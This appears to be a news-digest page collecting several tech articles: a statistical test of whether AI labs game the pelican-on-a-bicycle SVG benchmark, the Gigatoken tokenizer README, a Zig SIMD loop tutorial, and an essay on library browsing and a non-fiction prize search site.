Get responses tailored to you
Log in to get answers based on saved chats, plus create images and upload files.
10 interesting stories served every morning and every evening.
Get responses tailored to you
Log in to get answers based on saved chats, plus create images and upload files.
For the past few years, Simon Willison has tested every major LLM release with the same prompt: “Generate an SVG of a pelican riding a bicycle”.
What began as a tongue-in-cheek benchmark has become one of the most famous informal benchmarks in AI. Simon’s pelican-on-a-bicycle results are often among the most upvoted comments on Hacker News threads announcing new releases from AI labs.
The benchmark is now famous enough that there’s plenty of discussion about its usefulness and about whether AI labs might be benchmaxxing1 on it. When billions or even trillions of dollars are at stake, and a strong result could help persuade users, wouldn’t it be tempting to pelicanmaxx your model just a bit?
I wanted to find out, so I put together a small experiment. I generated 1,008 SVGs across seven frontier models, scored them with an LLM judge, and used Claude Fable 5 for the analysis.
This article presents the results. All the code is available on Github.
How I tested it
I built a grid of 8 animals × 6 vehicles = 48 prompts, where the famous prompt is one cell:
Animals: pelican, flamingo, heron, otter, raccoon, antelope, whale, cat
Vehicles: bicycle, unicycle, skateboard, scooter, plane, boat
Every prompt uses almost identical phrasing to Simon’s, only switching the animal and vehicle. The animal and vehicle selection wasn’t done in a very rigorous manner, but I tried to vary both similarity to the original prompt and difficulty. Flamingo and heron are quite similar to pelicans; cat, raccoon, and otter are easy cases; antelope is hard; and whale is as different as you can get.
I tested seven models through OpenRouter: GPT-5.6 Terra, Claude Sonnet 5, Gemini 3.5 Flash, Grok 4.5, Qwen3.7-Max, GLM-5.2, and DeepSeek V4 Pro. I generated 3 samples per prompt, at temperature 1.0, requesting the same reasoning effort from every model. That resulted in 1,008 SVGs.
Then I ran each image through a three-stage pipeline:
Rendering: Each SVG is rendered to PNG. If a model returns no SVG or one that fails to render, I regenerate until it produces a valid one, and record the number of attempts. There were only 11 retries across the 1,008 generations.
Judging: GPT-5.6 Luna scores each image with 1 – 5 ratings for the animal, the vehicle, and the coherence of the action. When I rank animals or vehicles below, I use the matching rating on its own. When I need one number per image, I use the average of the three, which I call the judge score.
Feature extraction: For a more detailed analysis, I also passed each rendered image to Gemini 3.1 Flash-Lite, which recorded the animal and vehicle it recognized, which way the subject faces, and an open-ended list of scene elements.
My hypothesis is that if a lab trained on the benchmark, it should show up in some combination of the pelican row scoring above what the animal deserves, the bicycle column scoring above what the vehicle deserves, or the specific pelican-bicycle cell beating both.
Evidence #1: The pelicans on bicycles don’t look any better
Before any scoring, the simplest test is to look at the images yourself. Pick a lab to see everything it drew, with the judge’s score under each image (click to open full size):
I looked through the images myself before running the analysis below. Nothing jumped out at me. I couldn’t find a case where the pelican-bicycle images looked noticeably better than the rest of that model’s grid. Maybe in GLM-5.2’s first sample it felt slightly better than the rest, but that batch also produced a pretty cool heron on a skateboard, so I cannot say for sure. Otherwise they look like the rest of what each model draws, and the labs that draw good pelicans on bicycles also do a good job drawing other animal-vehicle combinations.
But this test is hard to replicate, and everyone will have a different opinion. So I wanted something more quantitative, which is why I opted for the method detailed above.
Evidence #2: Labs are not better at drawing pelicans
Here’s the mean animal rating per animal, pooled across all models:
The pelican is 6th of 8, behind cat, whale, raccoon, heron, and antelope. If AI labs were training on the benchmark, you’d expect pelicans at the top. Instead they’re in the bottom half. All seven labs draw cats, whales, and raccoons better than pelicans.
Of course, a pelican may simply be harder to draw than a cat. A lab could train on pelicans and still not push them past the easy animals, so this ranking alone can’t rule that out. I’ll adjust for difficulty in Evidence #4.
Evidence #3: Labs are not better at drawing bicycles
Bicycles fare even worse. They sit second from last, in a near-tie with planes, which come in last:
If labs were training on the benchmark, you’d expect bicycles near the top of this ranking. They’re not. However, the same caveat applies here. A bicycle is harder to draw than a skateboard: it needs two matching wheels, a frame that reaches both axles, handlebars, a seat, and pedals. The judge flags a missing or disconnected one of those on 2/3 of the bicycle images. You can train on bicycle images and still not do a great job relative to simpler vehicles.
One note on the plane, though: I should’ve picked “airplane” instead of “plane” because models often read it geometrically. They drew the animal standing on a flat surface instead of flying an aircraft. The plane is the only vehicle where the feature extractor sometimes found no vehicle at all (25 of 168 images, against zero for the other five), and 20% of plane images scored a 1 or 2 on the vehicle rating, against 5% for bicycles and none at all for boats, scooters, or skateboards.
Evidence #4: Labs are not better at drawing pelicans on bicycles, even adjusting for difficulty
Put the two together and the “pelican on a bicycle” ends up near the bottom of the ranking, at #42 of 48:
But again, some combinations might be just harder to draw than others.
To account for that, I fit a fixed-effects regression on all 1,008 images: score ~ lab + animal × vehicle, plus per-lab interaction terms for pelican, bicycle, and the pelican-bicycle cell, with robust standard errors. The animal × vehicle terms absorb the inherent difficulty of all 48 combinations. The interactions measure each lab’s benchmark-specific boost relative to the average lab, with confidence intervals.
The results:
Every per-lab pelican effect (the lab’s boost on pelicans across all six vehicles) lands between -0.11 and +0.14 judge points, and none comes close to significance (smallest p = 0.25).
The per-lab bicycle effects (the lab’s boost on bicycles across all eight animals) run from Grok 4.5 at -0.18 (p=0.11) to Gemini 3.5 Flash at +0.27 (p=0.022). Only Gemini clears p < 0.05, and the seven point in both directions.
No pelican-bicycle cell effect (the extra boost on the specific combination, on top of the lab’s pelican and bicycle effects) clears p < 0.05. The largest positive is GLM-5.2 at +0.35 (p=0.12), which is the one I mentioned earlier. It’s the closest thing to a signal in this experiment, but still within chance.
Here are the full per-lab estimates. A pelicanmaxxing lab would show dots to the right of the zero line across its whole row:
Every pelican interval and every cell interval contains zero. Exactly one doesn’t: Gemini 3.5 Flash in the bicycle column. But with 21 tests at p < 0.05, chance alone predicts about one false positive (21 × 0.05 ≈ 1.05), and one is exactly what came up. It also doesn’t survive a multiple-comparisons correction: the Bonferroni threshold across the 21 tests is 0.05/21 ≈ 0.002, and its p-value is 0.022. The full table of estimates and p-values is in the repo.
But these intervals are wide, about ±0.6 judge points on average. Any boost smaller than that won’t be captured by this test.
Evidence #5: The pelican-bicycle scenes don’t look memorized
Some have suggested that the pelican on a bicycle looks like a memorized composition, pointing to recurring patterns such as the pelican always facing right, or recurring elements like a sun or a scarf. So I wanted to know if this was true.
Direction: All 21 pelican-bicycle images, across all seven labs, face right. No other animal/vehicle combination does that.
However, facing right is common: 60% of all 1,008 images do it. How common depends on the animal and the vehicle, and bicycles are one of the two vehicles where it’s strongest:
Pelicans are also among the animals that tend to face right:
It’s hard to draw a pelican or a bicycle facing the viewer, so models almost always draw them from the side, facing left or right. That’s why so few of their images are ambiguous. Other combinations also come close to unanimous: antelope on a scooter and pelican on a scooter land at 20 of 21, and heron on a bicycle at 19 of 21. So 21 out of 21 doesn’t seem like an outlier.
Scene elements: I let the extractor name any element it saw in the image. These are the counts:
A memorized scene would show up as the same set of elements recurring picture after picture. I went looking for that, and found some combinations do tend to produce the same elements every time. Every single flamingo on a boat has a sun in it. Otters on planes wear scarves 38% of the time. Cats on bicycles get a basket 38% of the time.
The pelican on a bicycle doesn’t seem to have anything particularly different about it. It just has some elements that appear more frequently, like every other animal-vehicle combination.
Limitations
Using a single LLM judge for scoring. Every score here comes from one model, GPT-5.6 Luna, looking at one image at a time. I didn’t do much alignment and didn’t check how often it agrees with itself on a re-run. If a model just can’t judge a drawing reliably, none of the numbers above mean much. The judge is also from the same family as one of the contestants, GPT-5.6 Terra. However, every lab draws all 48 combinations, so a judge that happens to like one lab’s style lifts that lab’s whole grid at once. But that doesn’t change the results because this analysis only cares about the within-lab differences.
SVGmaxxing. A lab that optimized SVG generation as a whole (or a subset such as animals on vehicles) rises on every cell at once and looks identical to a lab that’s just good. Some labs, such as Google/DeepMind, openly do this. This experiment can’t detect that.
Limited budget. The whole experiment ran on roughly $80 of API credits. That capped it at 3 samples per cell, a single judge, and 7 models. This also prevented me from iterating too much on the prompts and pipeline, as with the “plane” vs. “airplane” case.
Conclusion
Sorry, HN haters, but there’s little evidence that AI labs are pelicanmaxxing. Or at least they’re not doing it in a plainly obvious manner.
Pelicans aren’t drawn any better than other animals. Bicycles aren’t drawn any better than other vehicles. And no lab draws the combination better than its pelicans and bicycles already predict. GLM-5.2 comes closest: it has the largest boost on the exact pelican-bicycle cell, and its first pelican-on-bicycle sample caught my eye. But the effect is small and not significant, so I wouldn’t put too much weight on it.
The other thing that stands out is direction in the scene composition. All 21 pelican-bicycle images face right, the only combination in the grid where every image agrees. But it doesn’t seem that strange. Facing right is the norm across the experiment. Three other combinations land at 90% or above, and with 48 of them, I’m not surprised one reached 21 out of 21.
The more plausible story is SVGmaxxing like Google/DeepMind does. Other labs might be doing it more quietly. Sadly, this experiment can’t say who’s doing it. But at least you can sleep tonight knowing that AI labs are not producing terabytes of pelicans on bicycles just to trick Simon Willison.
If you want to look at the data yourself, the full pipeline is in the repo.
Footnotes
the practice of optimizing AI models to achieve high scores on popular benchmarks.↩︎
the practice of optimizing AI models to achieve high scores on popular benchmarks.↩︎
Citation
BibTeX citation:
@online{castillo2026, author = {Castillo, Dylan}, title = {Are {AI} Labs Pelicanmaxxing?}, date = {2026 – 07-18}, url = {https://dylancastillo.co/posts/pelicanmaxxing.html}, langid = {en} }
For attribution, please cite this work as:
Castillo, Dylan. 2026. “Are AI Labs Pelicanmaxxing?” July 18. https://dylancastillo.co/posts/pelicanmaxxing.html.
~1000x faster than HuggingFace’s tokenizers, drop-in replacement.
Tokenize your text data at GB/s!
Note that both HF tokenizers and tiktoken are already running multithreaded Rust!
What is Gigatoken?
Gigatoken is the fastest tokenizer for language modeling. It supports a wide range of CPU hardware, and nearly all commonly used tokenizers. See the Benchmarks section for detailed throughput numbers across tokenizers and CPUs.
Installation
pip install gigatoken
Usage
Gigatoken can be used with its own API, or in compatibility mode with HuggingFace Tokenizers or Tiktoken.
Compatibility Mode (Easiest)
import gigatoken as gt
# Minimum change from existing HuggingFace tokenizers usage (compatibility mode) hf_tokenizer = … tokenizer = gt.Tokenizer(hf_tokenizer).as_hf()
# tokenizer can be used in the same contexts as hf_tokenizer tokens = tokenizer.encode_batch([“This is a test string”, “And here is another”])
# OR with tiktoken tiktokenizer = … tokenizer = gt.Tokenizer(tiktokenizer).as_tiktoken()
# Now works like existing tiktoken tokenizers tokens = tokenizer.encode_batch([“This is a test string”, “And here is another”])
A substantial amount of effort has been put into making sure the outputs match exactly with what you would get with HuggingFace Tokenizers in this setting, but this is at a non-negligible cost to performance. You can still expect way faster performance across the board, but not quite the 1000x you will get with the Gigatoken API.
Gigatoken API (Fastest)
import gigatoken as gt
tokenizer = gt.Tokenizer(“Qwen/Qwen3 – 8B”) # Accepts HF model names file_source = gt.TextFileSource([“owt_train.txt”], separator=b”<|endoftext|>“) tokens = tokenizer.encode_files(file_source)
Using the Gigatoken API lets the Rust implementation read data directly, and skips as much overhead as possible while allowing for maximum parallelism. Keep in mind that passing Python data structures through this API still incurs the overhead of reading from Python.
Benchmarks
OWT (openwebtext) was chosen because it’s roughly representative of the text you get after extraction from CommonCrawl documents. Gigatoken encodes the whole file un-split, and is thus doing more work than the other tokenizers to find the split boundaries and automatically parallelize. HuggingFace tokenizers (encode_batch_fast) gets the first 100 MB and tiktoken (encode_ordinary_batch) the first 1 GB, both presplit on <|endoftext|>. This is fair because neither of the compared tokenizers do caching, meaning the speed is roughly uniform throughout processing. Tiktoken rows are currently only filled in for tokenizers with official support.
The slowest rows are the SentencePiece-based tokenizers, which are not well optimized in Gigatoken.
Each row is one distinct tokenizer (identical vocab/merges/pretokenizer), measured on a representative repo. If you don’t see your tokenizer here, it’s likely based on some existing one. For instance:
Llama 3 / 3.1 / 3.2 — Llama 3 / 3.1 / 3.2, DeepSeek-R1-Distill-Llama, Hermes 3, Saiga, and other Llama-3 finetunes
Llama 3.3 — Llama 3.3, Llama-3.1-Nemotron-Nano-VL, SmolLM3, Kanana 1.5, jina-embeddings-v5, Ultravox
Qwen 2 / 2.5 — Qwen 2 and 2.5 (incl. Coder and VL), Qwen3-Coder, Qwen3-VL, DeepSeek-R1 Qwen distills, MiMo V2.5, MiniCPM-o 2.6, InternVL3
Qwen 3 — Qwen 3 (incl. Embedding and Reranker), Qwen2.5-Omni, Qwen3-VL-Embedding, MiMo V2.5 Pro, jina-reranker-m0, pplx-embed, MOSS-TTS, Zeta
DeepSeek V3 / R1 / V4 — DeepSeek V3 / V3.1 / V3.2, R1, V4 Flash and Pro, DeepSeek-VL2
GLM 4 — GLM 4.1V, 4.5, and 4.7
GLM 5 — GLM 5 / 5.2 and GLM-4.7-Flash
Nemotron 3 — Nemotron 3 Nano, Super, and Ultra
Kimi K2 — Kimi K2 / K2.5 / K2.6 / K2.7, Kimi-Linear, Kimi-VL, Moonlight
Phi-4-mini — Phi-4-mini and Phi-4-multimodal
TinyLlama / Phi-3 (Llama 2) — TinyLlama, Phi-3-mini, Phi-3.5-mini and Phi-3.5-vision (the Llama 2 vocab)
Gemma 3 — Gemma 3 (270M–27B) and EmbeddingGemma
Gemma 4 — Gemma 4 (dense, MoE, and E-series) and DiffusionGemma
FAQ
Q: Did you just way over-optimize for a specific CPU and tokenizer? How is it so fast?
No, I way over-optimized for every combination of these! The results are very consistent across CPUs (modern x86 and ARM), and across specific tokenizers.
The major improvements are in optimizing heavily an implementation that usually is outsourced to a Regex engine (pretokenization) using SIMD, minimizing branching and other tricks, as well as heavily optimizing caching of pretoken mappings (if a word has been seen before, look it up its encoded tokens efficiently). Caching is a very hard problem in this domain since the cache grows very quickly, and pretoken distributions are very long-tailed.
Some gains are also achieved from minimizing interactions with Python, and avoiding communication between threads.
Q: How can I quickly check if my tokenizer is supported?
You can try it out without installing anything! The following command will validate and time tokenization for a given HuggingFace model repo:
# Download your data wget https://huggingface.co/datasets/stanford-cs336/owt-sample/resolve/main/owt_train.txt.gz # Just an example! gunzip owt_train.txt.gz
uvx –with tokenizers gigatoken bench ‘openai-community/gpt2’ owt_train.txt \ –validate –doc-separator “<|endoftext|>”
cpu: Apple M4 Max, 16 cores gigatoken: 1.432 s | 11920.51 MB at 8327.05 MB/s | 2701.65 Mtok at 1887.23 Mtok/s hf: 16.250 s | 100.00 MB at 6.15 MB/s | 22.76 Mtok at 1.40 Mtok/s gigatoken is 1353.13x faster than hf validation OK: 20401 documents match
cpu: AMD EPYC 9565 72-Core Processor, 144 cores, 2 sockets gigatoken: 0.486 s | 11920.51 MB at 24532.45 MB/s | 2701.65 Mtok at 5564.94 Mtok/s hf: 4.033 s | 100.00 MB at 24.80 MB/s | 22.76 Mtok at 5.63 Mtok/s gigatoken is 989.21x faster than hf validation OK: 20401 documents match
At the rates we see on the EPYC CPU, you could tokenize the entirety of Common Crawl (often considered to be the entire internet, 130 trillion tokens) in just under 6.5 hours!
This example uses the train sample from this dataset, and the CLI by default subsets to the first 100MB of the file for validation and comparison with HF. You can see help for these flags with uvx gigatoken bench –help. You might need to run your commands twice on macOS to get a good reading, since the first run will always perform a security scan, which will slow down the Rust code.
Q: I’ve found a mismatch/slow use-case, is this expected?
Most likely not! Despite reasonably wide testing I don’t have every use-case on hand, so please report anything you find in a GitHub Issue so I can address it as soon as possible.
Citation
If you use Gigatoken in your research, please cite it as:
@software{roed2026gigatoken, author = {Marcel R{\o}d}, title = {{G}igatoken: SIMD and Cache Hierarchies for 1000x Faster Byte-Pair Encoding Tokenization on Modern CPUs}, url = {https://github.com/marcelroed/gigatoken}, year = {2026}, }
Known Issues
Python iteration is handled in Rust, but uses ABI3, which is slower than using internal version-specific CPython APIs. In the future I intend to specialize for each Python version to cut this overhead. Early experiments show a 2x speed improvement for overhead-bound cases.
File sinks are not yet implemented in the Gigatoken API.
WordPiece is not yet supported.
SentencePiece-based tokenization is not nearly as optimized as the more common BPE tokenizers. This is low priority for now since mostly Google models/BERT style models use SentencePiece.
Windows has not been tested much, so for now prefer using WSL.
Implementing the user-facing API
Widening of compatibility, for instance generalizing and porting the pretokenizer implementations to support more tokenizers, less interesting features like padding/truncation/unicode normalization
Porting SIMD strategies between AVX512/AVX2/NEON
Final profiling stages and the last ~4x worth of performance from eliminating branching and improving the pretoken cache hierarchy
Refactoring and code reuse
SIMD has a reputation for being complex. I’ve met many very good software engineers who dismiss it as something too complex to learn or a niche optimization meant for only the highest-performance software, not useful in everyday programming.
I think that’s wrong. SIMD can be simple to understand1, and common “process N values at a time” SIMD code to speed up a naive for loop almost always follows the same general shape. Once you learn the basics, writing SIMD is just about as easy as a for loop. And when it’s not, it’s usually a good sign to skip it for now.
Every developer should know at least that much SIMD.
This post uses Zig for examples but is a general piece that applies to any programming language. Support for SIMD instructions varies by programming language and I hope that more programming languages expose these generic concepts in the future!
I hate that I have to do this for every post now, but I also want to note this was completely hand-written with no AI assistance.
Background: What Is SIMD?
The Common Shape
A Real Example
Step 1: Broadcast Constants
Step 2: Loop One Vector at a Time
Step 3: Perform the SIMD Operation
Step 4: Reduce the Vector Result
Step 5: Finish with the Scalar Tail
Recap: The Common Shape
Why Can’t the Compiler Do This?
Everyone Should Know SIMD
Background: What Is SIMD?
If you already know what SIMD is, skip this section.
SIMD allows a CPU to operate on multiple values in parallel. For example, instead of comparing one byte at a time, a CPU can compare 4, 8, or even more bytes with a single instruction.
If you ever see loops like this in your code:
for (byte in bytes) { /* … */ } for (character in string) { /* … */ } for (value in array) { /* … */ }
There is an opportunity to use SIMD. SIMD turns those into this:
for (8 byte chunk in bytes) { /* … */ }
This results in a localized speedup that directly maps to the parallelism: you process data 4x, 8x, or even faster.
The only real requirement for this to pay off is that you need to be regularly processing a large enough number of bytes. If you’re doing these for loops across data that is only ever a handful or dozens of bytes, it’s not worth it. But if this is iterating over hundreds, thousands, millions of bytes, the payoff will be huge.
That’s the basics. Projects such as simdutf and simdjson take this to an extreme and use SIMD techniques that can be difficult to understand. But you do not need to write algorithms like those to benefit from SIMD. The common case is dramatically simpler.
The Common Shape
The common “process N values at a time” SIMD code follows the same five steps:
Broadcast any constants you need and initialize vector accumulators, if any.
Loop over input one vector-width chunk at a time.
Perform the comparison or arithmetic across all lanes in parallel.
Reduce or store the vector result as needed.
Handle the remaining elements with a scalar tail. A scalar tail is just your normal loop from before vectorizing, but it only processes the remainder that doesn’t fit into a full vector.
As you do this more and more, you’ll begin to naturally decompose every for loop into these five steps and writing SIMD becomes nearly as natural as writing a scalar loop.
A Real Example
Let’s look at a real example from Ghostty. We’ll look at the scalar implementation, the SIMD implementation, and then map it back to the common shape above.
I have a slice of decoded codepoints that I want to consume until I see a value at or below 0xF (a C0 control character).2 Terminals are mostly plain characters to be printed, so we try to batch all those together. So this loop finds the end of the next printable run as quickly as possible.
The scalar loop is one line:
while (end < cps.len and cps[end] > 0xF) end += 1;
It processes one codepoint at a time. It is easy to understand.
Here is the generic vector version with no CPU-specific intrinsics3 and no comments. I will explain it in detail later.
if (simd.lanes(u32)) |lanes| { const V = @Vector(lanes, u32); const threshold: V = @splat(0xF); while (end + lanes <= cps.len) : (end += lanes) { const values: V = cps[end..][0..lanes].*; const greater_than_threshold = values > threshold; if (@reduce(.And, greater_than_threshold)) continue; const mask: std.meta.Int(.unsigned, lanes) = @bitCast(greater_than_threshold); end += @ctz(~mask); break; } }
while (end < cps.len and cps[end] > 0xF) end += 1;
12 more lines of code.
This can improve the loop’s throughput by up to 4x with ARM NEON (including Apple Silicon), 8x with AVX2 (most modern x86 CPUs), and 16x with AVX-512 (some Intel CPUs and AMD Zen 4 and newer).
In real-world end-to-end throughput from terminal program to finalized terminal state on an AVX2 Intel desktop, this was more like a 5x speedup. You always lose some of the ideal speedup due to the other stuff around the SIMD code, but… that’s still 5x!
Okay, now I understand that those 12 lines are going to look really alien to someone not familiar with the concepts. So now let’s back up and explain it step by step, mapping it directly to the shape previously mentioned.
Step 1: Broadcast Constants
Let’s start with the first three lines:
if (simd.lanes(u32)) |lanes| { const V = @Vector(lanes, u32); const threshold: V = @splat(0xF);
simd.lanes(u32) is a helper in Ghostty that returns the number of u32 values the target CPU can process at once. These individual values are called lanes. On ARM this returns 4, AVX2 returns 8, and AVX-512 returns 16. If the target doesn’t have a vector size we want to use, it returns null and we skip all of this code and do zero SIMD work.
@Vector(lanes, u32) creates the vector type. If lanes is 8, then V is a single value containing eight u32 values that the CPU can operate on in parallel. And so on.
Finally, we need to compare every value to 0xF. A vector comparison requires a vector on both sides, so @splat(0xF) copies, or broadcasts, 0xF into every lane. The result is a vector that looks like this:
{ 0xF, 0xF, 0xF, 0xF, 0xF, 0xF, 0xF, 0xF }
This is step 1: prepare the vector type and broadcast any constants. Some algorithms also initialize a vector accumulator here, but this algorithm doesn’t need one.
Step 2: Loop One Vector at a Time
Next, we loop over one complete vector at a time:
while (end + lanes <= cps.len) : (end += lanes) { const values: V = cps[end..][0..lanes].*;
If lanes is 8, we only enter the loop when at least eight values remain. Inside the loop, we load those eight values into the vector values. At the end of every loop, end += lanes moves forward by eight values instead of one.
The requirement for a complete vector is important. If only five values remain, we can’t load an eight-lane vector. There are various tricks to handle this, but we do the easy thing and handle them via our scalar tail, which I’ll explain later in step 5.
This is step 2: load and loop over the input one vector-width chunk at a time. You can see the lane-count speedup here!
Step 3: Perform the SIMD Operation
Now we perform the comparison:
const greater_than_threshold = values > threshold;
Both values and threshold are vectors, so this maps to a vector operation (a literal vector CPU instruction). The one > compares every lane in values to every corresponding lane in threshold. If there are eight lanes, this is equivalent to performing the scalar comparison cps[end] > 0xF eight times, but it does it in one CPU instruction instead.4
The result is another vector with one boolean per lane. Conceptually, it looks something like this:
values: { 0x41, 0x42, 0x43, 0x0A, 0x44, 0x45, 0x46, 0x47 } threshold: { 0xF, 0xF, 0xF, 0xF, 0xF, 0xF, 0xF, 0xF } greater_than_threshold: { true, true, true, false, true, true, true, true }
This is the actual SIMD operation. There is no explicit inner loop. The > operator applies to every lane in parallel.
Comparisons are only one example. This could be addition, multiplication, minimum, maximum, or any other operation supported by the vector type. The point is the code still has the same shape.
Step 4: Reduce the Vector Result
We now have a vector of booleans, but the original loop needs to know the location of the first value at or below 0xF.
First, let’s handle the common case where every value is above 0xF:
if (@reduce(.And, greater_than_threshold)) continue;
@reduce(.And, …) combines every boolean using and and returns a single boolean. If every lane is true, we continue and process the next vector. In our example, lane 3 is false, so @reduce returns false and we fall through to find exactly which lane failed.
If any lane is false, then we need to find exactly which lane failed:
const mask: std.meta.Int(.unsigned, lanes) = @bitCast(greater_than_threshold); end += @ctz(~mask); break;
@bitCast turns the vector of booleans into an integer with one bit per lane. A 1 bit means the value was greater than 0xF and a 0 means it wasn’t. We invert the mask so failed comparisons are 1, and then @ctz counts the number of zero bits before the first failure. That count is the index of the first failing lane.
We add that index to end and break because we found the control character.
Using the same values from step 3, we can see this transformation per lane:
values: { 0x41, 0x42, 0x43, 0x0A, 0x44, 0x45, 0x46, 0x47 } greater_than_threshold: { true, true, true, false, true, true, true, true } mask: { 1, 1, 1, 0, 1, 1, 1, 1 } ~mask: { 0, 0, 0, 1, 0, 0, 0, 0 }
@ctz(~mask) counts three zero bits before the first 1, so it returns 3. Adding 3 to end points it at lane 3, which contains 0x0A, the first control character.
This is step 4: reduce the vector result into whatever the original algorithm needs. This is also the step that varies the most between algorithms. A sum might reduce a vector accumulator into a single number. A transform might store the entire vector to an output buffer. Our scan turns the vector into a bit mask so it can find one specific lane.
Step 5: Finish with the Scalar Tail
After the vector loop, we run the exact scalar loop we started with:
while (end < cps.len and cps[end] > 0xF) end += 1;
If the input length isn’t an exact multiple of the vector width, this processes the remaining values. For example, an eight-lane vector loop leaves anywhere from zero to seven values for this loop. This is called the scalar tail.
This loop also handles CPUs where simd.lanes(u32) returns null. In that case we skip all of the SIMD code and the scalar loop processes the entire input. The original implementation remains both the fallback and the tail.
That’s step 5. It’s just the normal loop.
Recap: The Common Shape
Let’s map the entire implementation back to the five steps:
@splat(0xF) broadcasts the comparison value into every lane.
The while loop loads lanes values at a time.
values > threshold compares every lane in parallel.
@reduce, @bitCast, and @ctz find the first failed comparison.
The original scalar loop handles the remainder and unsupported CPUs.
The details in step 4 initially take some time to understand, but the overall shape is straightforward. And steps 1, 2, 3, and 5 tend to look nearly identical across completely different algorithms.
Whenever you see a for (byte in bytes), this is the shape you’ll map to.
Why Can’t the Compiler Do This?
Sometimes it can! Compilers can auto-vectorize simple loops, particularly regular arithmetic loops without complex control flow. You should always compile the scalar version with optimizations and see what your compiler produces before manually writing SIMD.
But compilers are severely limited in what they can auto-vectorize and are in general very poor at it. Auto-vectorization has been an active area of compiler research for decades, and recent research still begins from the observation that production compilers regularly miss vectorization opportunities. This isn’t a problem I expect to disappear soon.
My first year of college, I had a work-study job which ended up being one of the most sneakily important intellectual experiences of my life. I was a lowly library shelver, assigned to the shelves labelled A through F section in the Library of Congress filing system: mostly works on religion, philosophy, sociology, and history. I say sneakily important because at first glance, shelving books in a library is super boring. What it amounts to, physically, is reading the label on a book, then placing it on the shelf where it belongs, repeated around a thousand times per shift.
To avoid the tedium, I decided that I would also flip to a random page of every book I shelved and read a random sentence from it. Usually, I would stop there — running aground on some passage by a Hungarian classical music critic or a long-dead statistician of Bolivia’s agricultural development or any number of other things that failed to catch my interest. But other times — like when I came across a book about Hellenistic mystery cults, or The Education of Henry Adams, or Are Clothes Modern?— I would become so absorbed that I’d make my way through several pages before reluctantly depositing the book back where it belonged.
And then, very often, I’d do the same with the books on either side of the one I’d liked.
In retrospect, I learned more at this job than in any formal class I’ve ever taken, because it was a filtered form of auto-didacticism. The Library of Congress classification system — and the expert staff of an academic research library — had already sorted and filtered these texts. Not to mention the selection mechanism of the fact that that they had been checked out: had, in other words, found a lasting readership. Thus I was not seeing a truly haphazard sampling of books, but a targeted, organized, yet still interestingly randomized sampling of good books.
Today, undergraduate students will invariably search on Google when asked to find a source, and the results are so much worse than the old method of going to, say, the GR 830 shelf of a research library (basically, “books that the Ghostbusters would read”) and just looking around.
But honestly, even research libraries are not what they used to be. I am 41, and I feel like I’ve lived through the peak, and now the decline, of what libraries can be (I still love them, of course — in fact I’m currently writing this in the genealogy section of the Santa Cruz Public Library). The browsable open stacks of old are being replaced by Learning Labs and Digital Innovation Hubs and seating areas devoted mostly to socializing and snacking, and increasingly, the delightful, weird old books that I had the opportunity to browse as an undergrad are heading to dumpsters, replaced by e-editions.
But one thing that has remained consistently good throughout my life is the books themselves — non-fiction books, I mean. Even now, as readership of non-fiction declines amid competition from AI chatbots and podcasts, I feel like we are living through a golden age of the form that rarely gets recognized as such.
Which is why I set aside some time this summer to create — or, rather, induce Claude Code to create — a free platform for searching in the long tail of high-quality non-fiction books. Quality is difficult to define, but it’s been my experience that books that win or achieve the short-list of the major non-fiction prizes are almost always noticeably good, so that was the litmus test I used. To get started, I counted up all the major non-fiction prizes in the English language. Then I had Claude and GPT-5.6 gather the lists of finalists and winners from various online sources (mostly Wikipedia) and arrange it into a searchable, sortable list.
You can visit it here.
(And before you wonder, yes this is actually free. I am paying for the hosting and the API costs entirely because I just want people to find and read more good non-fiction books.)
There is really nothing “AI” about this aside from the tool that collected the data and coded it,1 and, crucially, semantic search, which for me is the most appealing of all current AI tools precisely because it offers a straightforward improvement for a workflow and habit that researchers already have: it makes text search work better.
So for instance, you can search simple phrases like “modern France” or “social history” or the like, but you can also search things like “classic biographies that are surprisingly weird,” and an embedding model pulls from the 6,500 or so titles to surface some:
Sometimes the “choices” that the search makes are a bit baffling, but that is precisely why I like it: the idea is to recapture some of that feeling of a random walk through a well-tended garden that made my library shelving job so rewarding.
I find it tends to be best for finding “books like.” For instance I found Stefan Zweig’s memoir of pre-war Vienna, The World of Yesterday, to be deeply moving (even before I learned that he committed suicide, in Brazil in 1942, immediately after completing it). A search for a books like it using semantic search in the corpus immediately yields some titles that seem promising but which I’d never heard of before:
Once I had gathered all this book-related data, it became a fun experiment to make some data visualizations with it, including fun oddities like this display of roughly 5,000 books from the corpus arranged by color (it would be interesting to plot this by decade, to see whether the same graying effect we see in cars over the past few decades is active in book covers, too).
More useful, perhaps (since I’ve never seen this plotted anywhere else), is this chart and accompanying ranking which allows you to explore which imprints and publishers have fared best when it comes to non-fiction book awards over the past century.
And this, in turn, got me thinking about the past and future of nonfiction as a cultural force. For instance, here is a chart of all the non-fiction book prizes which I sampled for this project. I was surprised to learn that even the august, renowned Pulitzer Prize for nonfiction was actually relatively recently instituted, beginning in 1962.
Throughout the 70s, 80s and 90s, the number of prizes increases, until we reach a peak in 2014, and then, in 2020, the beginning of what may be a slow decline:
And yet, maybe not. What most struck me as I began using my own tool to find new books to read was how consistently good the long tail of non-fiction from the past few decades is. You can pick a book more or less at random from this list and end up with something extraordinary and original — not because it’s a hidden gem or forgotten, since obviously these books are on the list by virtue of having been celebrated and praised. But a book that won enormous praise in newspapers and among literary intelligentsia or scholars in the early 1990s, say — like, for instance, David Levering Lewis’s acute biography of W.E.B. Du Bois, which I’m currently reading — is not exactly the sort of thing that Amazon is likely to recommend, as it’s out of print and currently at 1 million+ in the sales rankings.
Yet there it is on the list, ranked near the top ten of all books because it won no less than four major prizes when it was published back in 1993. And I can personally attest that you can buy it used for ~$4 and it’s really good.
While writing this post, I got interested in the bigger question of when the golden age of non-fiction began and why. I suspect it has much to do with the rise of those old-school open stack research libraries, whose origins I wrote about here:
It’s true that the basic blueprint of these institutions is an 18th and 19th century development — but the post-war era radically transformed the ways that libraries and archives produced new knowledge, for a range of reasons that I will dig into more in a future post. It seems to me that a surprising number of them are related to technological and social change:
• The jet plane allowed writers and researchers to travel to multiple continents to research books — the sort of opportunity previously available only to the ultra-wealthy.
• The erosion of restrictions around class, race, and gender made formerly elite spaces like rare book libraries more widely accessible, and the same process also opened up new questions and research leads (for instance, it is striking how rarely biographers before ~1965 or so dug into the sexuality of their subjects).
• Proto-digital and early digital technologies like the Library of Congress classification system and the related MARC (machine-readable cataloguing) standard, developed in the late 1960s, made it much easier to sort and classify books. Crucially, they also made it easier to fact check sources and create high quality endnotes.
• The advent of broadcast news, oddball TV interview shows (Dick Cavett!), and the book-to-Hollywood pipeline created new incentives for authors and new platforms for making their work visible.
